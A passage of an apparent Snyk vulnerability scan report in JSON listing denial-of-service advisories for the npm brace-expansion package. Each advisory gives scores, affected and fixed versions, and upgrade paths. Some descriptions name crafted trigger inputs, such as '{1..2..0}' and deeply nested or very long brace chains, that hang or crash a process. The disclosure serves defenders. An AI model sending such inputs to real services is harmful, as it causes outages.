"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub 